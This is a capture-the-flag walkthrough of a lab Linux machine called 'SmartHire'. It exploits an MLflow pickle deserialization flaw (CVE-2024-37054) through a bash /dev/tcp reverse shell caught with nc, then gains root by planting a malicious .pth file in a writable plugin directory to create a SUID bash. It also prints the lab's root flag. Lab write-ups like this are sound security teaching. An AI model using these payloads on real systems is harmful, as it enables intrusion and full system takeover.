Introduction #
SmartHire is a Linux machine centred around a job application portal and an exposed MLflow model tracking server. The initial foothold exploits CVE-2024-37054, an unsafe pickle deserialization vulnerability by abusing the MLflow artifact REST API to overwrite a stored model with a crafted pickle payload. Privilege escalation abuses a sudo-accessible Python management script that unconditionally calls site.addsitedir() on a world-writable plugin directory, allowing a malicious .pth file to execute arbitrary code as root at import time.
Recon #
nmap #
Initial nmap scan finds two open TCP ports, SSH (22) and HTTP (80):
sudo nmap -sC -sV -vv -oA nmap_scan/nmap_results 10.129.245.215
sCfor defaults scriptssVenumerate versionvvdouble verboseoAoutput in all formats
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 41:3c:e3:bb:88:70:99:7f:b8:96:59:48:9b:85:98:69 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLg1Y2xxe0euIHDjjKTIrxL+XZXgsBabs0FMAMKBL8arUuELui3vhlkgcDVGcZ4vFWnsiu4osw5INjfcQGkp2BY=
| 256 d5:9d:fd:6b:be:d8:39:6f:3f:43:ab:0e:f6:3e:22:db (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPc/kqsR+WxwGPMNTukcYPjzZRGjQL6N+0HsGIS1NV4U
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://smarthire.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Add smarthire.htb to /etc/hosts
Website - TCP 80 #
The website is some sort of job/hiring portal with registration and csv upload:



I attempted some basic csv injections but got nowhere.
But since I have a domain, let’s try a subdomain scan next.
Subdomain enum #
└─$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://smarthire.htb/ -H 'Host: FUZZ.smarthire.htb' -fs 178
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://smarthire.htb/
:: Wordlist : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
:: Header : Host: FUZZ.smarthire.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 178
________________________________________________
models [Status: 401, Size: 137, Words: 11, Lines: 1, Duration: 35ms]
Quick scan finds models.smarthire.htb. Add it to /etc/hosts and check whats there.
There is a login popup window:

I attempt to log in with several common combinations and finally get in on admin:password
Inside is an instance of mlflow 2.14.1:

Conveniently there are links to GitHub and Docs. First thing to notice on the GitHub page is the Security and quality tab with several listed vulnerabilities, even RCE one - RCE via crafted model artifact
MLflow introduced MLFLOW_ALLOW_PICKLE_DESERIALIZATION as a security control to prevent unsafe pickle.load execution during model loading, in response to CVE-2024-37052 through CVE-2024-37060. When set to False, operators expect all pickle deserialization to be blocked. The most recent related fix (#21188) patched a bypass in the pyfunc flavor.
However, the mlflow.statsmodels flavor completely omits this guard. An attacker who places a crafted MLmodel artifact into any accessible artifact store can trigger arbitrary code execution on any process that calls mlflow.pyfunc.load_model() against the malicious model — even when MLFLOW_ALLOW_PICKLE_DESERIALIZATION=False.
In short, MLflow’s pyfunc model stores Python models as serialized pickle files, mlflow.pyfunc.load_model() fetches the python_model.pkl and hands it directly to the pickle.load() without any validation or sanitization.
If I can reach the MLflow artifacts REST API I can overwrite that file with a malicious one and execute arbitrary commands the next time the model is loaded.
User #
CVE-2024-37054 #
The version running here is vulnerable to CVE-2024-37054, an RCE via unsafe pickle deserialization in mlflow.pyfunc.load_module(). There are some public PoCs but I opted to write my own this time in Go for an added challenge to understand the raw binary layouts of Python’s pickle serialization and learn how to construct low-level exploit directly from a strongly typed compiled language.
PoC #
CVE-2024-37054 is an unauthenticated remote code execution vulnerability in MLflow versions 0.9.0 through 2.14.1, caused by unsafe pickle deserialization inside mlflow.pyfunc.load_model().
The exploit chain works like this:
- Authenticate to MLflow and obtain an app session (registers a throwaway account if login fails)
- Upload a CSV to trigger model training, obtaining the registered model name
- Resolve the MLflow
experiment_idandrun_idvia the REST API - Build a malicious pickle that calls
os.system("bash -i >& /dev/tcp/...")on deserialization - Overwrite
python_model.pklin the MLflow artifact store via an authenticatedPUT - Trigger
/predict, which callsload_model()→pickle.load()→ reverse shell
Go doesn’t have version of Python’s cloudpickle (which would be ideal for this PoC) so it was replaced with a hand-crafted opcode stream (PROTO, GLOBAL, SHORT_BINUNICODE, TUPLE1, REDUCE, STOP). Stupid way to do what Python is built to do, but an opportunity to learn.
Shell #
└─$ go run main.go --mlflow http://models.smarthire.htb --target http://smarthire.htb --user admin --pass password revshell 10.10.15.23 4444
App login failed (HTTP %d), falling back to registration
[!] Start your listener: nc -lvnp 4444
[*] Press ENTER when listener is ready…
[+] Done!
I start the listener and catch the shell:
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.15.23] from (UNKNOWN) [10.129.245.215] 37118
bash: cannot set terminal process group (1020): Inappropriate ioctl for device
bash: no job control in this shell
svcweb@smarthire:/var/www/smarthire.htb$
Root #
As always, starting the privilege escalation with sudo -l:
svcweb@smarthire:~$ sudo -l
sudo -l
Matching Defaults entries for svcweb on smarthire:
env_reset,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User svcweb may run the following commands on smarthire:
(root) NOPASSWD: /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py *
I get one hit, let’s take a look:
#!/usr/bin/env python3
"""
MLFLOW-CTL: Operational interface for managing the MLflow service.
Supports a pluggable extension model for environment-specific logic.
For changes or plugin requests, please contact the Platform Team.
"""
from pathlib import Path
import sys
import site
BASE_DIR = Path(__file__).resolve().parent
PLUGINS_DIR = BASE_DIR / "plugins"
# make plugins importable
for path in PLUGINS_DIR.iterdir():
if path.is_dir():
site.addsitedir(str(path))
def print_usage():
print("Usage: mlflowctl.py [status|backup-models|restart]")
sys.exit(1)
def main():
import mlflow_actions, backup_models
if len(sys.argv) < 2:
print_usage()
action = sys.argv[1]
if action == "status":
mlflow_actions.check_status()
elif action == "backup-models":
print("[*] Running backup via backup_models plugin...")
backup_models.run()
elif action == "restart":
mlflow_actions.restart()
else:
print(f"[!] Unknown action: {action}")
print_usage()
if __name__ == "__main__": main()
At the very beginning, the script defines its home directory and looks for a subdirectory named plugins.
It iterates through all folders there and registers them using site.addsitedir()
Looking at the plugins folder, I have a write permissions to the dev dir:
svcweb@smarthire:~$ ls -la /opt/tools/mlflow_ctl/plugins/
ls -la /opt/tools/mlflow_ctl/plugins/
total 16
drwxr-xr-x 4 root root 4096 Feb 19 2026 .
drwxr-xr-x 3 root root 4096 Feb 19 2026 ..
drwxr-xr-x 3 root root 4096 Feb 20 2026 core
drwxrwxr-x 2 root devs 4096 May 12 15:22 dev
This will do as a way in. I can create malicious ‘plugin’ in the dev directory and run it as root.
The payload will be classic copy of /bin/bash to the /tmp:
echo "import os ; os.system('cp /bin/bash /tmp/root2 && chmod u+sx /tmp/root2')" > /opt/tools/mlflow_ctl/plugins/dev/pwn.pth
Now simply run the mlflowctl.py with status and check if there is the root2 in /tmp:
svcweb@smarthire:/tmp$ sudo /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py status
[*] Checking MLflow service status...
[+] MLflow service status: active
[+] MLflow container status: 'Up 48 minutes'
svcweb@smarthire:/tmp$ ls -la
ls -la
total 1416
drwxrwxrwt 13 root root 4096 Sep 22 08:13 .
drwxr-xr-x 19 root root 4096 May 13 16:02 ..
drwxrwxrwt 2 root root 4096 Sep 22 07:25 .font-unix
drwxrwxrwt 2 root root 4096 Sep 22 07:25 .ICE-unix
-rwsr-xr-x 1 root root 1396520 Sep 22 08:13 root2
drwx------ 3 root root 4096 Sep 22 07:25 systemd-private-e45bdd62369c49c88b10d0dcc0a8d72c-ModemManager.service-GHtTDI
drwx------ 3 root root 4096 Sep 22 07:25 systemd-private-e45bdd62369c49c88b10d0dcc0a8d72c-systemd-logind.service-usoVfc
drwx------ 3 root root 4096 Sep 22 07:25 systemd-private-e45bdd62369c49c88b10d0dcc0a8d72c-systemd-resolved.service-zpFlks
drwx------ 3 root root 4096 Sep 22 07:25 systemd-private-e45bdd62369c49c88b10d0dcc0a8d72c-systemd-timesyncd.service-AcojAN
drwxrwxrwt 2 root root 4096 Sep 22 07:25 .Test-unix
drwx------ 3 svcweb svcweb 4096 Sep 22 08:06 tmpldgwn561
drwx------ 2 root root 4096 Sep 22 07:25 vmware-root_710-2990613080
drwxrwxrwt 2 root root 4096 Sep 22 07:25 .X11-unix
drwxrwxrwt 2 root root 4096 Sep 22 07:25 .XIM-unix
It is there, run it to get root and grab the flag!
svcweb@smarthire:/tmp$ ./root2 -p
./root2 -p
id
uid=1000(svcweb) gid=1000(svcweb) euid=0(root) groups=1000(svcweb),1001(mlflowweb),1002(devs)
cat /root/root.txt
6c109bcd5b943c83072ad42be40a4477